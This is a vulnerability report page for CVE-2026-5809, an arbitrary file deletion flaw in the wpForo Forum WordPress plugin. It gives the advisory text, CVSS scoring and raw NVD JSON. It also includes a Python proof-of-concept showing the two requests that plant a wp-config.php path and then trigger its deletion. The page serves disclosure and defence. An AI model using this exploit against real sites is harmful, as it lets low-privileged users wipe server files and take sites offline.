Security Vulnerability Report
中文
CVE-2026-5809 CVSS 7.1 HIGH

CVE-2026-5809

Published: 2026-04-11 08:16:06
Last Modified: 2026-04-24 18:00:32

Description

The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

No configuration data available.

wpForo Forum <= 3.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" COOKIE = "wordpress_logged_in_xxx=..." # Subscriber cookie NONCE = "..." # Valid wpforo nonce TOPIC_ID = 1 headers = { "Cookie": COOKIE } # Step 1: Poison the postmeta with arbitrary file path # Inject the path via the data[body][fileurl] parameter data_step1 = { "action": "wpforo_topic_ajax", "do": "edit", "topicid": TOPIC_ID, "data[body][fileurl]": "/var/www/html/wp-config.php", # Target file to delete "wpforo_post_form_nonce": NONCE } # r1 = requests.post(TARGET_URL, data=data_step1, headers=headers) # Step 2: Trigger the deletion # Send wpftcf_delete[] to trigger the file deletion logic data_step2 = { "action": "wpforo_topic_ajax", "do": "edit", "topicid": TOPIC_ID, "wpftcf_delete[]": "body", "wpforo_post_form_nonce": NONCE } # r2 = requests.post(TARGET_URL, data=data_step2, headers=headers) # print("Exploit executed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5809", "sourceIdentifier": "[email protected]", "published": "2026-04-11T08:16:05.503", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L746", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L761", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L402", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L421", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L523", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Posts.php#L1961", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/includes/functions.php#L2641", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3503313/wpforo", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e46ac8d-89ee-4480-bb96-83f2044a4323?source=cve", "source": "[email protected]"}]}}